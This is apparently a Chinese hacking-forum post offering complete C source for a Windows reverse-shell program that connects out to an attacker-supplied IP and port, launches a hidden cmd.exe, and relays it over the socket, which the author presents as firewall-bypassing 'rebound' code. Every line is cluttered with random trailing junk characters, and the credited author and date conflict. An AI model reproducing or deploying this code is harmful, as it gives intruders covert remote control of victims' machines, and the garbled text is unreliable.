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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 0qL V(L  
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/* ============================== ;Up'~BP(  
Rebound port in Windows NT 3:~l2KIP4  
By wind,2006/7 >1a \ %G  
===============================*/ @W1WReK]f  
#include tFvgvx\:  
#include }} ``~  
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#pragma comment(lib,"wsock32.lib") fY%M=,t3c  
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void OutputShell(); Q k;Kn  
SOCKET sClient; *qO]v9 j  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i{|lsd(+  
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void main(int argc,char **argv) AFINm%\/0  
{ ~X~xE]1o|U  
WSADATA stWsaData; iz9\D*or  
int nRet; }c35FM,  
SOCKADDR_IN stSaiClient,stSaiServer; _z<Y#mik  
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if(argc != 3) k_K,J 6_)  
{ e+F}9HR7  
printf("Useage:\n\rRebound DestIP DestPort\n"); j(Fa=pi  
return; /zl3&~4  
} OAW=Pozr9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); 9 wSl,B-  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1#> &p%P!  
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stSaiClient.sin_family = AF_INET; Z:UgozdC  
stSaiClient.sin_port = htons(0); VBbUl|X\  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?#BZ `H  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) #aitESbT  
{ WyBQ{H{So  
printf("Bind Socket Failed!\n"); `jb0 +{08  
return; ^ o $W  
} [j:}=:feQ  
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stSaiServer.sin_family = AF_INET; MfXt+c`r  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~A[YnJYA#  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); 8/Et&TJ`  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) & %N(kyp  
{ Pn'`Q S?  
printf("Connect Error!"); X"hOHx5P  
return; M>?aa6@0  
} 7y>Tn`V8G  
OutputShell(); qa 6=W  
} ^i{,z*vi  
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void OutputShell() 0NL :z1N-h  
{ >vD['XN,  
char szBuff[1024]; E6'8Zb  
SECURITY_ATTRIBUTES stSecurityAttributes; NK+FQ^m[  
OSVERSIONINFO stOsversionInfo; '^Pq(b~  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; (j8GiJ]{L,  
STARTUPINFO stStartupInfo; u;+%Qh  
char *szShell; ?G4iOiyt  
PROCESS_INFORMATION stProcessInformation; c&Gz> L  
unsigned long lBytesRead; kF(Ce{;z  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); tr}KPdE  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); z3^RUoGU  
stSecurityAttributes.lpSecurityDescriptor = 0; 7XUhJN3n  
stSecurityAttributes.bInheritHandle = TRUE; VFilF<jvu  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); *C4~}4WT\  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); q?;N7P  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ,pDp>-vI%  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; gf:vb*#Wa  
stStartupInfo.wShowWindow = SW_HIDE; ?gd'M_-J,  
stStartupInfo.hStdInput = hReadPipe; z6p#fsD  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; -]Q3/"Q  
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GetVersionEx(&stOsversionInfo); D-Bv(/Pz]$  
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switch(stOsversionInfo.dwPlatformId) vn|TiZ  
{ ,(j>)g2Ob  
case 1:  4]"a;(  
szShell = "command.com"; ..??O^   
break; #C"7 l6'a  
default: f zLANya  
szShell = "cmd.exe"; m5e\rMN~>\  
break; - ,R0IGS  
} nHI(V-E2:H  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); f|X[gL,B  
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send(sClient,szMsg,77,0); lP}od  
while(1) :0nK`$'  
{ _TZW|Dh-2F  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ,"@w>WL<9  
if(lBytesRead) Vn)%C_-]A  
{ i%xI9BO9  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MP jr_yc]  
send(sClient,szBuff,lBytesRead,0); hA@zoIoe  
} ])N|[|$  
else sk#9x`Rw  
{ jz %;4e~t  
lBytesRead=recv(sClient,szBuff,1024,0); p9/bzT34.  
if(lBytesRead<=0) break; BD hLz  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); !$D&6M|C8l  
} w|&,I4["  
} :0B |<~lX  
|$M@09,F"  
return; !-KCFMvT  
}
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